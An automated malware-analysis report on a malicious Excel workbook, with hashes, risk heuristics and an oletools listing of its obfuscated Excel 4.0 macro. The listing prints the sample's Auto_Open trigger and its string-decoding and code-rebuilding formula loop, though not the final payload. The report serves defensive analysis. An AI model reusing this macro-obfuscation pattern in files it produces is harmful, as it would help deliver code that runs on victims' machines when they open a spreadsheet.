Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 098156d75625e700…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:43:04 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 174fb2c110af8071ada0264505519f5d SHA-1: 4746001f51ad54771a8864fa0355a0d2975563bf SHA-256: 098156d75625e700b811e762a8eb4ef43e4040435706a19d58d4c213136d2bb3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6594 bytes
SHA-256: 2bc2b24e877e27cbf4db47a05df9ed8e233dc4975ce06a5c445438ad56c6e410
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  mlJavJIcDxn
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C134 
' 0018     22 LABEL : Cell Value, String Constant - BlZkpiN len=0 
' 0018     20 LABEL : Cell Value, String Constant - BsPwR len=0 
' 0018     20 LABEL : Cell Value, String Constant - bXBxZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - cGpwv len=0 
' 0018     27 LABEL : Cell Value, String Constant - CNZuGIIeZjhc len=0 
' 0018     22 LABEL : Cell Value, String Constant - CTJpkbj len=0 
' 0018     20 LABEL : Cell Value, String Constant - hLgRz len=0 
' 0018     20 LABEL : Cell Value, String Constant - iYJOm len=0 
' 0018     23 LABEL : Cell Value, String Constant - LmxOsVIZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - MOXfThmEh len=0 
' 0018     27 LABEL : Cell Value, String Constant - OjoXQnAbmMWk len=0 
' 0018     20 LABEL : Cell Value, String Constant - Pkwdz len=0 
' 0018     24 LABEL : Cell Value, String Constant - qRutkyFCu len=0 
' 0018     25 LABEL : Cell Value, String Constant - RrLqDixTdV len=0 
' 0018     26 LABEL : Cell Value, String Constant - rYmtTibUKmi len=0 
' 0018     22 LABEL : Cell Value, String Constant - SXmMhRl len=0 
' 0018     27 LABEL : Cell Value, String Constant - tCjAxwWtmZcf len=0 
' 0018     21 LABEL : Cell Value, String Constant - tdqHBo len=0 
' 0018     24 LABEL : Cell Value, String Constant - tYoKtqgzw len=0 
' 0018     24 LABEL : Cell Value, String Constant - xlGxMQUas len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  mlJavJIcDxn,C50,"SET.NAME("SXmMhRl",VALUE("0"))",""
'  mlJavJIcDxn,C53,"SET.NAME("CTJpkbj",SXmMhRl)",""
'  mlJavJIcDxn,C55,"SET.NAME("tdqHBo",SXmMhRl)",""
'  mlJavJIcDxn,C59,"SET.NAME("CNZuGIIeZjhc",COUNTA(BlZkpiN))",""
'  mlJavJIcDxn,C61,"SET.NAME("rYmtTibUKmi",COUNTA(iYJOm))",""
'  mlJavJIcDxn,C66,[],""
'  mlJavJIcDxn,C70,"SET.NAME("tCjAxwWtmZcf","")",""
'  mlJavJIcDxn,C75,"CTJpkbj",""
'  mlJavJIcDxn,C77,"SET.NAME("RrLqDixTdV",HLOOKUP("*",BlZkpiN,CTJpkbj,FALSE))",""
'  mlJavJIcDxn,C81,"Pkwdz",""
'  mlJavJIcDxn,C84,"SET.NAME("OjoXQnAbmMWk",SXmMhRl)",""
'  mlJavJIcDxn,C88,[],""
'  mlJavJIcDxn,C91,"OjoXQnAbmMWk",""
'  mlJavJIcDxn,C94,"MOXfThmEh",""
'  mlJavJIcDxn,C98,"bXBxZ",""
'  mlJavJIcDxn,C100,"BsPwR",""
'  mlJavJIcDxn,C104,"SET.NAME("xlGxMQUas",VALUE(HLOOKUP("*",iYJOm,BsPwR,FALSE)))",""
'  mlJavJIcDxn,C108,"qRutkyFCu",""
'  mlJavJIcDxn,C110,"tCjAxwWtmZcf",""
'  mlJavJIcDxn,C113,"tdqHBo",""
'  mlJavJIcDxn,C116,NEXT(),""
'  mlJavJIcDxn,C120,"LmxOsVIZ",""
'  mlJavJIcDxn,C122,"SET.NAME("f",INT(T(FORMULA(T(tCjAxwWtmZcf)&"",""&T(LmxOsVIZ)))))",""
'  mlJavJIcDxn,C126,"hLgRz",""
'  mlJavJIcDxn,C129,NEXT(),""
'  mlJavJIcDxn,C132,RETURN(),""
'  mlJavJIcDxn,C154,"SET.NAME("cGpwv",C50)",""
'  mlJavJIcDxn,C156,"BlZkpiN",""
'  mlJavJIcDxn,C160,"SET.NAME("iYJOm",R90C12)",""
'  mlJavJIcDxn,C165,"SET.NAME("hLgRz",175)",""
'  mlJavJIcDxn,C170,"SET.NAME("tYoKtqgzw",3)",""
'  mlJavJIcDxn,C174,cGpwv(),""
'  mlJavJIcDxn,C175,HALT(),""